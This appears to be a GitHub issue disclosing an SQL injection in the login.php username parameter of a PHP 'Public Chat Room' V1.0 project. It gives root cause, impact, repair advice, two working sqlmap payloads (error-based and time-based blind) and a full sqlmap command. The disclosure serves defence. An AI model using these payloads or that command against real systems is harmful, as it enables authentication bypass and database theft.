Skip to content

code-projects Public Chat Room Project V1.0/login.php SQL injection #5

@BalanceLee

Description

@BalanceLee

code-projects Public Chat Room Project V1.0/login.php SQL injection

NAME OF AFFECTED PRODUCT(S)

  • Public Chat Room

Vendor Homepage

AFFECTED AND/OR FIXED VERSION(S)

submitter

  • balancelee

Vulnerable File

  • /login.php

VERSION(S)

  • V1.0

Software Link

PROBLEM TYPE

Vulnerability Type

  • SQL injection

Root Cause

  • A SQL injection vulnerability was found in the '/login.php' file of the 'Public Chat Room' project. The code fails to use parameterized queries or prepared statements to handle user input and instead directly embeds user input into the SQL query string. This allows an attacker to manipulate the structure of the SQL query, leading to injection vulnerabilities.

Impact

  • Attackers can exploit this SQL injection vulnerability to achieve unauthorized database access, sensitive data leakage, data tampering, comprehensive system control, and even service interruption, posing a serious threat to system security and business continuity.

DESCRIPTION

  • This vulnerability exists in the login.php file, where the username parameter submitted by the user is directly concatenated into a SQL query without proper escaping or parameterization. An attacker can craft malicious SQL statements and inject them via POST requests to bypass authentication, retrieve sensitive database information, or manipulate the database.

No login or authorization is required to exploit this vulnerability

Vulnerability details and POC

Vulnerability Name:

  • 'username' parameter injection

HTTP Request Payload:

---
Parameter: username (POST)
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: username=test' AND (SELECT 1714 FROM(SELECT COUNT(*),CONCAT(0x7171767871,(SELECT (ELT(1714=1714,1))),0x7170627a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- bUDp&password=test

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: username=test' AND (SELECT 2138 FROM (SELECT(SLEEP(5)))VQqK)-- LLcw&password=test
---

The following are screenshots of some specific information obtained from testing and running with the sqlmap tool:

python sqlmap.py -u "http://localhost/chat/login.php" --data="username=test&password=test" --risk=3 --level=5 --batch --dbs
Image

Suggested repair

  1. Use prepared statements and parameter binding:
    Preparing statements can prevent SQL injection as they separate SQL code from user input data. When using prepare statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code.

  2. Input validation and filtering:
    Strictly validate and filter user input data to ensure it conforms to the expected format.

  3. Minimize database user permissions:
    Ensure that the account used to connect to the database has the minimum necessary permissions. Avoid using accounts with advanced permissions (such as' root 'or' admin ') for daily operations.

  4. Regular security audits:
    Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions